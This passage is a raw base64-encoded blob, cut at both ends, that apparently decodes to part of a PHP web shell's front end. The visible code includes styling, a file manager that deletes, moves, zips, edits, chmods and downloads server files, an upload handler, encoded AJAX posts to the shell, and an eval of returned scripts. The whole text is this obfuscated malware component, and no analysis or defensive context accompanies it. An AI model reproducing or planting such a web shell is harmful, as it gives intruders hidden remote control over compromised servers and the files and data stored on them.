Mjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XTpkaXNhYmxlZDpob3ZlcntjdXJzb3I6bm90LWFsbG93ZWR9dGR7cGFkZGluZzonLigkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ109PScxJz8nMCc6JzEnKS4ncHh9Lm15Q2hlY2tib3h7cGFkZGluZy1sZWZ0OjJweH0ubXlDaGVja2JveCBsYWJlbHtkaXNwbGF5OmlubGluZS1ibG9jaztjdXJzb3I6cG9pbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZX0ubXlDaGVja2JveCBpbnB1dFt0eXBlPWNoZWNrYm94XXtkaXNwbGF5Om5vbmV9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2NvbnRlbnQ6IiI7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTRweDtoZWlnaHQ6MTNweDtwb3NpdGlvbjphYnNvbHV0ZTtiYWNrZ3JvdW5kLWNvbG9yOiNhYWE7Ym94LXNoYWRvdzppbnNldCAwIDJweCAzcHggMCByZ2JhKDAsMCwwLC4zKSwwIDFweCAwIDAgcmdiYSgyNTUsMjU1LDI1NSwuOCl9Lm15Q2hlY2tib3ggbGFiZWx7bWFyZ2luLWJvdHRvbToxNXB4O3BhZGRpbmctcmlnaHQ6MTdweH0ubXlDaGVja2JveCBsYWJlbDpiZWZvcmV7Ym9yZGVyLXJhZGl1czoxMDBweH1pbnB1dFt0eXBlPWNoZWNrYm94XTpjaGVja2VkICsgbGFiZWw6YmVmb3Jle2NvbnRlbnQ6IiI7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignYWxmYW1pbmknKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToxNHB4IDE0cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMwRjB9I21ldW5saXN0e2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRjt3aWR0aDphdXRvO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2hlaWdodDphdXRvO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjcwMDtib3JkZXItdG9wLXdpZHRoOjA7Ym9yZGVyLWNvbG9yOiMwRTMwNEE7Ym9yZGVyLXN0eWxlOnNvbGlkfS53aG9sZSAjbWV1bmxpc3QgdWx7dGV4dC1hbGlnbjpjZW50ZXI7bGlzdC1zdHlsZS10eXBlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzo1cHggNXB4IDdweCAycHh9Lndob2xlICNtZXVubGlzdCBsaXttYXJnaW46MDtwYWRkaW5nOjA7ZGlzcGxheTppbmxpbmV9Lndob2xlICNtZXVubGlzdCBhe2ZvbnQtZmFtaWx5OmFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC13ZWlnaHQ6NzAwO2NsZWFyOmJvdGg7d2lkdGg6MTAwcHg7bWFyZ2luLXJpZ2h0Oi02cHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOjFweDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOiNGRkY7cGFkZGluZzozcHggMTVweH0uZm9vdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO21hcmdpbjowO3BhZGRpbmc6MDt3aWR0aDoxMDAlO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwRTMwNEE7Ym9yZGVyLXJpZ2h0LXdpZHRoOjdweDtib3JkZXItbGVmdC13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS1zdHlsZTpzb2xpZDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1sZWZ0LXN0eWxlOnNvbGlkO2JvcmRlci1jb2xvcjojMEUzMDRBfSN0ZXh0e3RleHQtYWxpZ246Y2VudGVyfWlucHV0W3R5cGU9c3VibWl0XXtjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2J0bicpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOjUwJSA1MCU7YmFja2dyb3VuZC1zaXplOjIzcHggMjNweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym9yZGVyLXJhZGl1czoxMDBweH10ZXh0YXJlYXtwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXRleHRhcmVhOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF0saW5wdXRbdHlwZT1udW1iZXJdLC5hbGZhX2N1c3RvbV9jbWRfYnRue3BhZGRpbmc6M3B4O2NvbG9yOiM5OTk7dGV4dC1zaGFkb3c6Izc3NyAwIDAgM3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9aW5wdXRbdHlwZT1zdWJtaXRdOmhvdmVye2NvbG9yOiMwMDA7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoycHggc29saWQgIzI3OTc5QjstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9c2VsZWN0e3BhZGRpbmc6M3B4O3dpZHRoOjE2MnB4O2NvbG9yOiNGRkU7dGV4dC1zaGFkb3c6IzAwMCAwIDJweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6IzAwMDt0ZXh0LWRlY29yYXRpb246bm9uZTtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXNlbGVjdDpob3Zlcntib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0KLmZvb3R0YWJsZXt3aWR0aDogMzAwcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7Jy4oIUBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyd9LmRpcntiYWNrZ3JvdW5kLWNvbG9yOnJlZDt9JzonfScpLicubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7fS5tYWluIGF7Y29sb3I6ICNGRkY7fS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzY0NjQ2NCAhaW1wb3J0YW50O30ubWwxeyBib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0uYmlnYXJlYXsgd2lkdGg6OTklOyBoZWlnaHQ6MzAwcHg7IH0uYWxmYV9jdXN0b21fY21kX2J0biB7cGFkZGluZzogNXB4O2NvbG9yOiAjMjRmZjAzO2N1cnNvcjogcG9pbnRlcjt9LmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IHtkaXNwbGF5OiBibG9jazt9Jy5hbGZhQ3NzTG9hZENvbG9ycygpLicKPC9zdHlsZT4nOwplY2hvICI8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+CnZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7CnZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJzsKdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwp2YXIgaXNsaW51eCA9ICIuKCRHTE9CQUxTWydzeXMnXSE9IndpbiI/J3RydWUnOidmYWxzZScpLiI7CnZhciBwb3N0X2VuY3J5cHRpb25fbW9kZSA9ICIuKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz8ndHJ1ZSc6J2ZhbHNlJykuIjsiOz8+CnZhciBhbGZhMV89IiIsYWxmYTJfPSIiLGFsZmEzXz0iIixhbGZhNF89IiIsYWxmYTVfPSIiLGFsZmE2Xz0iIixhbGZhN189IiIsYWxmYThfPSIiLGFsZmE5Xz0iIixhbGZhMTBfPSIiLGQ9ZG9jdW1lbnQsbXlzcWxfY2FjaGU9e30sZWRpdG9yX2ZpbGVzPXt9LGVkaXRvcl9lcnJvcj0hMCxlZGl0b3JfY3VycmVudF9maWxlPSIiLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITEsaXNfbWluaW1pemVkPSExLGNnaV9pc19taW5pbWl6ZWQ9ITEsb3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEscmlnaHRjbGlja19tZW51X2NvbnRleHQ9bnVsbCxjYW5faGFzaGNoYW5nZV93b3JrPSEwLGFsZmFfY2FuX2FkZF9vcHQ9ITEsYWxmYV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLGFsZmFfYWNlX2VkaXRvcnM9e2VkaXRvcjpudWxsLGV2YWw6bnVsbH0sY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhPXt9LF9BTEZBX0FKQVhfPXt9LGNnaV9sYW5nPSIiLHVwY291bnQ9MSx0ZXJtaW5hbF93YWxrX2luZGV4PVtdLGFsZmFfY3VycmVudF9mbV9pZD0xLGFsZmFfZm1faWQ9MDtmdW5jdGlvbiBzZXQoZSxhLHQsaSxsLG8scixuLHMsYyxmLF8sdSl7ZC5tZi5hLnZhbHVlPW51bGwhPWU/ZTphXyxkLm1mLmMudmFsdWU9bnVsbCE9YT9hOmNfLGQubWYuYWxmYTEudmFsdWU9bnVsbCE9dD90OiIiLGQubWYuYWxmYTIudmFsdWU9bnVsbCE9aT9pOiIiLGQubWYuYWxmYTMudmFsdWU9bnVsbCE9bD9sOiIiLGQubWYuYWxmYTQudmFsdWU9bnVsbCE9bz9vOiIiLGQubWYuYWxmYTUudmFsdWU9bnVsbCE9cj9yOiIiLGQubWYuYWxmYTYudmFsdWU9bnVsbCE9bj9uOiIiLGQubWYuYWxmYTcudmFsdWU9bnVsbCE9cz9zOiIiLGQubWYuYWxmYTgudmFsdWU9bnVsbCE9Yz9jOiIiLGQubWYuYWxmYTkudmFsdWU9bnVsbCE9Zj9mOiIiLGQubWYuYWxmYTEwLnZhbHVlPW51bGwhPV8/XzoiIixkLm1mLmNoYXJzZXQudmFsdWU9bnVsbCE9dT91OmNoYXJzZXRffWZ1bmN0aW9uIGZjKGUpe3ZhciBhPWFsZmFfY3VycmVudF9mbV9pZCx0PSJhPSIrYWxmYWI2NCgiRmlsZXNNYW4iKSsiJmM9IithbGZhYjY0KGUuYy52YWx1ZSkrIiZhbGZhMT0iK2FsZmFiNjQoZS5hbGZhMS52YWx1ZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpKyImIixpPSIiLGw9MDtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgZm9ybVtuYW1lPWZpbGVzXSBpbnB1dFt0eXBlPWNoZWNrYm94XSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiYobCsrLGkrPSJmW109IithbGZhYjY0KGRlY29kZVVSSUNvbXBvbmVudChlLnZhbHVlKSkrIiYiKX0pLDA9PWwmJiJwYXN0ZSIhPWUuYWxmYTEudmFsdWUpcmV0dXJuITE7c3dpdGNoKGFsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2EsImJsb2NrIiksZS5hbGZhMS52YWx1ZSl7Y2FzZSJkZWxldGUiOmQucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuZm1hbmFnZXItcm93IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgYT1lLnF1ZXJ5U2VsZWN0b3IoImlucHV0W3R5cGU9Y2hlY2tib3hdIik7YS5jaGVja2VkJiYiLi4iIT1hLnZhbHVlP2UucmVtb3ZlKCk6YS5jaGVja2VkPSExfSksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIC5jaGtieCIpLmNoZWNrZWQ9ITE7YnJlYWs7Y2FzZSJjb3B5IjpjYXNlIm1vdmUiOmNhc2UiemlwIjpjYXNlInVuemlwIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgaW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPSExfSl9X0FqYXgoZC5VUkwsdCtpLGZ1bmN0aW9uKGUpe2FsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2EsIm5vbmUiKSxhbGZhRm1uZ3JDb250ZXh0Um93KCl9LCExLCJmaWxlc21hbl9ob2xkZXJfIithKX1mdW5jdGlvbiBpbml0RGlyKGUpe3ZhciBhPSIiLHQ9IiI7aXNsaW51eCYmKGE9IjxhIGNsYXNzPVwiaGVhZGVyX3B3ZFwiIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJy8nKTtcIiBwYXRoPScvJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0vJz4vPC9hPiIsdD0iLyIpO3ZhciBsPWUuc3BsaXQoIi8iKSxvPSIiLHI9aXNsaW51eD8iLyI6IiI7Zm9yKGkgaW4iLTEiIT1sLmluZGV4T2YoIi4uIikmJihsLnNwbGljZShsLmluZGV4T2YoIi4uIiktMSwxKSxsLnNwbGljZShsLmluZGV4T2YoIi4uIiksMSkpLGwpIiIhPWxbaV0mJihvKz0iPGEgb25jbGljaz1cImcoJ0ZpbGVzTWFuJywnIityK2xbaV0rIi8nKTtcIiBwYXRoPSciK3IrbFtpXSsiLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9IityK2xbaV0rJy9cJyBjbGFzcz0iaGVhZGVyX3B3ZCI+JytsW2ldKyIvPC9hPiIscis9bFtpXSsiLyIpOyQoImhlYWRlcl9jd2QiKS5pbm5lckhUTUw9YStvKyIgIixhbGZhSW5pdEN3ZENvbnRleHQoKSxsPShsPXQrbC5qb2luKCIvIikpLnJlcGxhY2UoIi8vIiwiLyIpLGQuZm9vdGVyX2Zvcm0uYy52YWx1ZT1sLCQoImZvb3Rlcl9jd2QiKS52YWx1ZT1sLGNfPWx9ZnVuY3Rpb24gZXZhbEpTKGh0bWwpe3ZhciBuZXdFbGVtZW50PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO25ld0VsZW1lbnQuaW5uZXJIVE1MPWh0bWw7Zm9yKHZhciBzY3JpcHRzPW5ld0VsZW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGk9MDtpPHNjcmlwdHMubGVuZ3RoOysraSl7dmFyIHNjcmlwdD1zY3JpcHRzW2ldO2V2YWwoc2NyaXB0LmlubmVySFRNTCl9fWZ1bmN0aW9uIF9BamF4KGUsYSx0LGksbCl7dmFyIG89ITE7cmV0dXJuIHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9vPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKG89bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLHZvaWQgMCE9PWwmJihfQUxGQV9BSkFYX1tsXT1vKSxvPyhvLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PW8ucmVhZHlTdGF0ZSYmMjAwPT1vLnN0YXR1cz8iZnVuY3Rpb24iPT10eXBlb2YgdCYmKHQoby5yZXNwb25zZVRleHQsbCksYWxmYUNsZWFyQWpheChsKSk6ND09by5yZWFkeVN0YXRlJiYyMDAhPW8uc3RhdHVzJiYoYWxmYUFqYXhFcnJvcihvLnN0YXR1cyxsLG8uc3RhdHVzVGV4dCxvLnJlc3BvbnNlVGV4dCksYWxmYUNsZWFyQWpheChsKSl9LG8ub3BlbigiUE9TVCIsZSwhMCksby5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSx2b2lkIG8uc2VuZChhKSk6dm9pZCBhbGVydCgiRXJyb3IgISIpfWZ1bmN0aW9uIGFsZmFDbGVhckFqYXgoZSl7X0FMRkFfQUpBWF8uaGFzT3duUHJvcGVydHkoZSkmJmRlbGV0ZSBfQUxGQV9BSkFYX1tlXX1mdW5jdGlvbiBoYW5kbGV1cChlLGEpe3ZhciB0PSJfX2ZuYW1ldXAiO2lmKDAhPWEmJih0PSJfX2ZuYW1ldXAiK2EpLGUuZmlsZXMubGVuZ3RoPjEpe2Zvcih2YXIgaT0iIixsPTA7bDxlLmZpbGVzLmxlbmd0aDtsKyspaSs9ZS5maWxlc1swXS5uYW1lKyIsICI7JCh0KS5pbm5lckhUTUw9aX1lbHNlIGUuZmlsZXNbMF0ubmFtZSYmKCQodCkuaW5uZXJIVE1MPWUuZmlsZXNbMF0ubmFtZSl9ZnVuY3Rpb24gdShlKXt2YXIgYT0hMSx0PTAsaT1hbGZhX2N1cnJlbnRfZm1faWQsbD1uZXcgRm9ybURhdGEsbz0iZmlsZXNtYW5faG9sZGVyXyIraTtsLmFwcGVuZCgiYSIsYWxmYWI2NChlLmEudmFsdWUpKSxsLmFwcGVuZCgiYyIsYWxmYWI2NChlLmMudmFsdWUpKSxsLmFwcGVuZCgiYWxmYTEiLGFsZmFiNjQoZS5hbGZhMS52YWx1ZSkpLGwuYXBwZW5kKCJjaGFyc2V0IixhbGZhYjY0KGUuY2hhcnNldC52YWx1ZSkpLGwuYXBwZW5kKCJhamF4IixhbGZhYjY0KGUuYWpheC52YWx1ZSkpLGUucXVlcnlTZWxlY3RvckFsbCgiaW5wdXRbdHlwZT1maWxlXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYoMD09ZS52YWx1ZS5sZW5ndGgpcmV0dXJuITE7aWYoZS5maWxlcy5sZW5ndGg+MSlmb3IodmFyIGE9MDthPGUuZmlsZXMubGVuZ3RoO2ErKylsLmFwcGVuZCgiZltdIixlLmZpbGVzW2FdKTtlbHNlIGwuYXBwZW5kKCJmW10iLGUuZmlsZXNbMF0pO3QrK30pLCQoImZvb3RlcnVwIikudmFsdWU9IiIsJCgiX19mbmFtZXVwIikuaW5uZXJIVE1MPSIiO2Zvcih2YXIgcj0xO3I8PXVwY291bnQ7cisrKXt2YXIgbj0kKCJwZm9vdGVydXBfIityKTtuJiZuLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobiksdXBjb3VudC0tfWlmKDA9PXVwY291bnQmJnVwY291bnQrKywwPT10KXJldHVybiExO3ZhciBzPSJ1cF9iYXJfIitnZXRSYW5kb20oKTskKCJ1cF9iYXJfaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2IGlkPSciK3MrIicgY2xhc3M9J3VwX2Jhcic+PC9kaXY+Iik7ZS5jLnZhbHVlO2lmKHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9hPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKGE9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLGEpe3ZhciBjPSQocyk7X0FMRkFfQUpBWF9bc109YSxhLnVwbG9hZCYmKGMuc3R5bGUuZGlzcGxheT0iYmxvY2siLGEudXBsb2FkLm9ucHJvZ3Jlc3M9ZnVuY3Rpb24oZSl7dmFyIGE9ZS5wb3NpdGlvbnx8ZS5sb2FkZWQsdD1lLnRvdGFsU2l6ZXx8ZS50b3RhbCxpPU1hdGguZmxvb3IoYS90KjFlMykvMTArIiUiO2Muc3R5bGUud2lkdGg9aX0pLGEub25sb2FkPWZ1bmN0aW9uKGUpezIwMD09PWEuc3RhdHVzP2Muc3R5bGUuZGlzcGxheT0ibm9uZSI6YWxmYUFqYXhFcnJvcihhLnN0YXR1cywidXBsb2FkX2FyZWEiLGEuc3RhdHVzVGV4dCxhLnJlc3BvbnNlVGV4dCksYWxmYUNsZWFyQWpheChzKX0sYS5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZig0PT1hLnJlYWR5U3RhdGUmJjIwMD09YS5zdGF0dXMpe2lmKCJub3Blcm0iIT1hLnJlc3BvbnNlVGV4dCYmIltdIiE9YS5yZXNwb25zZVRleHQpe3ZhciBlLHQ9SlNPTi5wYXJzZShhLnJlc3BvbnNlVGV4dCksbD0iIixyPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiICNmaWxlbWFuYWdlcl90YWJsZSB0ciIpLmxlbmd0aC0zO2ZvcihlIGluIHQpeysrcjt2YXIgbj10W2VdLm5hbWUscz1lbmNvZGVVUklDb21wb25lbnQobiksYz10W2VdLnNpemUsZj10W2VdLnBlcm0sXz10W2VdLm1vZGlmeSx1PXRbZV0ub3duZXIscD1sb2FkVHlwZShuLCJmaWxlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiIyIrbysiIC5mbWFuYWdlci1yb3cgYVtmbmFtZT0nIituKyInXSIpLnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50LnJlbW92ZSgpfWNhdGNoKGUpe31sKz0nPHRyIGNsYXNzPSJmbWFuYWdlci1yb3ciIGlkPSJ0cl9yb3dfJytyKyciPjx0ZD48ZGl2IGNsYXNzPSJteUNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZbXSIgdmFsdWU9IicrbisnIiBjbGFzcz0iY2hrYngiIGlkPSJjaGVja2JveCcrcisnIj48bGFiZWwgZm9yPSJjaGVja2JveCcrcisnIj48L2xhYmVsPjwvZGl2PjwvdGQ+PHRkIGlkPSJ0ZF9yb3dfJytyKyciPicrcCsnPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ym90dG9tOjEycHg7Ij48YSByb3c9IicrcisnIiBpZD0iaWRfJytyKyciIGNsYXNzPSJtYWluX25hbWUiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIiBocmVmPVwiI2FjdGlvbj1maWxlbWFuJmFtcDtwYXRoPSIrY18rIiZhbXA7ZmlsZT0iK3MrJyIgZm5hbWU9IicrbisnIiBmdHlwZT0iZmlsZSIgcGF0aD0iJytjXysnIiBvcHRfdGl0bGU9IiI+JytuKyc8L2E+PC9kaXY+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fc2l6ZSI+JytjKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nK18rJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9vd25lcl9ncm91cCI+Jyt1Kyc8L3NwYW4+PC90ZD48dGQ+PGEgaWQ9ImlkX2NobW9kZV8nK3IrJyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2NobW9kJywnJywnJywnJywnZmlsZScpXCI+IitmKyc8L2E+PC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nK3IrJyIgdGl0bGU9IlJlbmFtZSIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywgJ3JlbmFtZScsJycsJycsJycsJ2ZpbGUnKVwiPlI8L2E+IDxhIGlkPVwiaWRfdG91Y2hfIityKyciIHRpdGxlPSJNb2RpZnkgRGF0ZXRpbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICd0b3VjaCcsJycsJycsJycsJ2ZpbGUnKVwiPlQ8L2E+IDxhIGlkPVwiaWRfZWRpdF8iK3IrJyIgY2xhc3M9ImFjdGlvbnMiIHRpdGxlPSJFZGl0IiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICdlZGl0JywnJywnJywnJywnZmlsZScpXCI+RTwvYT4gPGEgaWQ9XCJpZF9kb3dubG9hZF8iK3IrJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJytuKyInLCAnZG93bmxvYWQnKVwiPkQ8L2E+PGEgaWQ9XCJpZF9kZWxldGVfIityKyciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmN